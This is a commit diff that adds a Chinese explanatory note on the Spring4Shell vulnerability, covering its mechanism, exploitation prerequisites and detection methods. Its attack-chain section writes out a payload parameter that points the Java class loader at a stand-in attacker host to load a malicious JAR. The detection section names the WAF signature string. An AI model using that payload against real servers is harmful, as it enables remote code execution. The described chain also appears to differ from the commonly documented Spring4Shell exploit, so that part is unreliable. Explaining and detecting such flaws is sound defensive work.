Add files via upload
This commit is contained in:
@@ -0,0 +1,50 @@
|
||||
### Spring4shell 原理&检测&利用
|
||||
|
||||
**1. Spring4Shell 原理**
|
||||
|
||||
Spring4Shell 的核心是一个**数据绑定(Data Binding)**漏洞,利用了 Spring MVC 在处理请求参数时的一个逻辑缺陷
|
||||
|
||||
**数据绑定是什么?** 在 Spring MVC 中,当你向一个 Controller 发送请求时,框架会自动将请求参数(例如 URL 中的查询参数或 POST 请求体)的值,绑定到方法的 Java 对象参数上。这个过程非常方便,但如果绑定过程没有受到严格限制,就会带来安全风险
|
||||
|
||||
**漏洞的本质** Spring MVC 在数据绑定时,使用了**反射**来设置对象的属性。攻击者发现,可以通过精心构造的请求参数,**利用反射访问并修改一些特殊的对象属性**,例如:
|
||||
|
||||
- **`class` 属性**:任何 Java 对象都有一个隐藏的 `class` 属性,可以用来获取该对象的 `ClassLoader`
|
||||
- **`ClassLoader`**:这是 Java 虚拟机(JVM)加载类的地方
|
||||
|
||||
**完整的攻击链**
|
||||
|
||||
1. **构造恶意请求**:攻击者发送一个 HTTP 请求,其参数名为 `class.module.classLoader.URLs[0]=http://attacker-ip/malicious.jar`
|
||||
2. **数据绑定触发**:Spring MVC 收到请求后,会尝试将这个参数绑定到 Controller 方法的 Java 对象上
|
||||
3. **反射调用**:在绑定过程中,Spring 使用反射,根据 `class.module.classLoader` 这个路径,一步步获取到应用程序的 `ClassLoader` 对象
|
||||
4. **修改 URL**:然后,Spring 会将 `attacker-ip/malicious.jar` 这个 URL,设置到 `ClassLoader` 的 `URLs` 属性中
|
||||
5. **加载恶意类**:一旦 `ClassLoader` 的 URL 被修改,攻击者就可以通过其他请求,让应用程序去加载一个远程的恶意 JAR 包(其中包含可以执行命令的代码)
|
||||
6. **远程代码执行(RCE)**:当恶意 JAR 包中的类被加载到 JVM 中时,其中的恶意代码(通常是静态代码块)会被自动执行,从而实现 RCE。
|
||||
|
||||
**2. Spring4Shell 利用**
|
||||
|
||||
这个漏洞的利用需要满足几个特定条件:
|
||||
|
||||
- **依赖**:应用程序必须依赖于 Spring Framework 的 `5.2.x` 到 `5.3.x` 版本
|
||||
|
||||
- **环境**:
|
||||
|
||||
- **JDK 9+**:漏洞利用的原理依赖于 JDK 9+ 引入的 `class.module` 机制
|
||||
- **Tomcat Servlet 容器**:攻击利用依赖于 Tomcat Servlet 容器,因为它暴露了可被利用的 `ClassLoader`
|
||||
|
||||
- **控制器(Controller)**:应用程序中必须有一个 Controller,其方法参数使用了**简单的 POJO**(Plain Old Java Object)进行数据绑定。例如:
|
||||
|
||||
```java
|
||||
@PostMapping("/bind")
|
||||
public String bind(@ModelAttribute User user) {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
**3. Spring4Shell 检测**
|
||||
|
||||
Spring4Shell 的检测方法可以分为以下几种:
|
||||
|
||||
- **版本检测**:最直接的方法是检查应用程序所使用的 Spring Framework 版本和 JDK 版本。如果版本在受影响的范围内(如 Spring 5.2.x - 5.3.x + JDK 9+),则存在风险
|
||||
- **流量检测**:Web 应用防火墙(WAF)可以检测 HTTP 请求中是否包含与漏洞相关的特征字符串,例如 `class.module.classLoader`。这是最有效的网络层面检测方法
|
||||
- **主动扫描**:使用自动化漏洞扫描器(如 **Nessus**、**OpenVAS**)对目标进行扫描。这些扫描器通常集成了对 Spring4Shell 的检测模块
|
||||
- **代码审计**:通过静态应用安全测试(SAST)工具对源代码进行审计,检查是否使用了存在漏洞的 Spring 版本和数据绑定模式
|
||||
Reference in New Issue
Block a user